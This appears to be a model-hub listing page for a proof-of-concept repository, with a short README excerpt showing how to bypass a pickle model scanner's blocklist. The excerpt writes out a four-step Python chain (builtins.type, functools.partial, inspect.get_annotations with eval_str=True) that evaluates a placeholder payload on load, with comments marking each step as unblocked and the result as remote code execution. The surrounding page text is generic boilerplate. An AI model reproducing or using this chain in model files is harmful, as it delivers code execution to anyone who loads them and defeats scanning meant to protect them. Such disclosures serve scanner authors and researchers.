Downloads · 30 days
0
xiaoyaoes/modelscan-inspect-bypass-poc
modelscan-inspect-bypass-poc is a machine learning model from xiaoyaoes. Use it for the machine learning task on the model card, and read the license before you ship it in a product. It is set up for generic.
This bypass uses a 4-step chain of completely unblocked standard library functions:
Downloads · 30 days
0
Access
Public
Updated Jun 18, 2026
Repo size
449 B
Likes
0
Public
Click a slice to open those files.
Other1.5 KB · 58%
From the Hugging Face model README
inspect.get_annotations() + functools.partial() + builtins.type()This bypass uses a 4-step chain of completely unblocked standard library functions:
ns = {"__annotations__": {"x": PAYLOAD}}
cls = builtins.type("X", (), ns) # type ∉ blocklist ✅
p = functools.partial(get_annotations, eval_str=True) # functools, inspect ∉ blocklist ✅
p(cls) # → eval(PAYLOAD) → REMOTE CODE EXECUTION
Size: 214 bytes (.pkl) / 235 bytes (.joblib)